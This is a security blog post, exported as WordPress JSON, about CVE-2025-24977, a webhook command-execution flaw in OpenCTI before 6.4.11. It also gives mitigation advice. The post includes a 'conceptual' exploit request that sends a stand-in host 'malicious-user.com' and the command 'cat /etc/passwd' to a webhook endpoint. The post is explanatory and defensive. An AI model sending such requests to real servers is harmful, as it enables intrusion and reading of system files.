{"id":36825,"date":"2025-05-10T05:00:46","date_gmt":"2025-05-10T05:00:46","guid":{"rendered":""},"modified":"2025-05-26T05:17:39","modified_gmt":"2025-05-26T05:17:39","slug":"cve-2025-24977-critical-vulnerability-in-opencti-cyber-threat-intelligence-platform","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-24977-critical-vulnerability-in-opencti-cyber-threat-intelligence-platform\/","title":{"rendered":"<strong>CVE-2025-24977: Critical Vulnerability in OpenCTI Cyber Threat Intelligence Platform<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>This blog post discusses a critical vulnerability labeled as CVE-2025-24977 affecting the OpenCTI platform, a widely used open cyber threat intelligence (CTI) system. The vulnerability, present in versions prior to 6.4.11, allows any user with the &#8216;manage customizations&#8217; capability to execute arbitrary commands on the server where OpenCTI is hosted, potentially leading to a complete system compromise or data exposure. This is a grave security flaw considering the sensitive nature of data handled by OpenCTI <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32974-critical-vulnerability-in-xwiki-s-rights-analysis-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"42250\">systems and the potential<\/a> for further attacks on the underlying infrastructure.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-24977<br \/>\nSeverity: Critical (9.1\/10 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: Complete system compromise, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45746-unauthorized-system-access-via-hardcoded-jwt-secret-in-zkt-zkbio-cvsecurity\/\"  data-wpil-monitor-id=\"48958\">Access to internal server-side secrets<\/a>, Potential for further attacks<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-848317679\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>OpenCTI | <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46348-unauthenticated-backup-exploitation-of-yeswiki-prior-to-version-4-5-4\/\"  data-wpil-monitor-id=\"41852\">Versions prior<\/a> to 6.4.11<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24252-critical-memory-management-flaw-in-multiple-macos-and-tvos-versions\/\"  data-wpil-monitor-id=\"41794\">flaw in the &#8216;manage<\/a> customizations&#8217; capability of OpenCTI. A malicious user could misuse the web-hooks to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24022-critical-server-code-execution-vulnerability-in-itop-it-service-management-tool\/\"  data-wpil-monitor-id=\"49839\">execute commands on the underlying server<\/a> where OpenCTI is hosted. This can provide the user with a root shell inside a container, enabling unrestricted <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24522-unauthenticated-remote-access-to-node-red-server-in-kunbus-revolution-pi-os-bookworm\/\"  data-wpil-monitor-id=\"42788\">access to the server<\/a> environment, potentially leading to further attacks and exposures.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2269670578\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47154-exploitation-of-use-after-free-vulnerability-in-libjs-in-ladybird\/\"  data-wpil-monitor-id=\"42377\">vulnerability might be exploited<\/a>. The malicious user sends a specially crafted HTTP POST request to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32846-critical-sql-injection-vulnerability-in-telecontrol-server-basic\/\"  data-wpil-monitor-id=\"41527\">vulnerable endpoint on the OpenCTI server<\/a>.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/api\/webhook HTTP\/1.1\nHost: vulnerable-opencti.example.com\nContent-Type: application\/json\n{\n&quot;webhook_url&quot;: &quot;http:\/\/malicious-user.com\/execute-command&quot;,\n&quot;command&quot;: &quot;cat \/etc\/passwd&quot;\n}<\/code><\/pre>\n<p>In this example, the malicious user attempts to read the server&#8217;s password file, potentially revealing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3529-sensitive-information-exposure-in-wordpress-simple-shopping-cart-plugin\/\"  data-wpil-monitor-id=\"42058\">sensitive information<\/a>. It&#8217;s important to note that actual exploit code would likely be much more sophisticated, taking advantage of specific <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44192-high-severity-sql-injection-vulnerability-in-simple-barangay-management-system-v1-0\/\"  data-wpil-monitor-id=\"42133\">system configurations and vulnerabilities<\/a>.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users are strongly advised to apply the vendor patch by upgrading to OpenCTI version 6.4.11 or newer, which <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4335-privilege-escalation-vulnerability-in-woocommerce-multiple-addresses-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"43732\">addresses this vulnerability<\/a>. In the absence of a patch, temporary mitigation can be achieved using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block malicious activity. However, these measures are not a substitute for patching the system and ensuring that it is up to date with the <a href=\"https:\/\/www.ameeba.com\/blog\/ai-cybersecurity-firm-cloudsek-secures-usd-19-mn-in-latest-funding-round\/\"  data-wpil-monitor-id=\"49208\">latest security<\/a> updates.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview This blog post discusses a critical vulnerability labeled as CVE-2025-24977 affecting the OpenCTI platform, a widely used open cyber threat intelligence (CTI) system. The vulnerability, present in versions prior to 6.4.11, allows any user with the &#8216;manage customizations&#8217; capability to execute arbitrary commands on the server where OpenCTI is hosted, potentially leading to a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-36825","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/36825","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=36825"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/36825\/revisions"}],"predecessor-version":[{"id":44465,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/36825\/revisions\/44465"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=36825"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=36825"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=36825"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=36825"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=36825"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=36825"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=36825"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=36825"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=36825"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}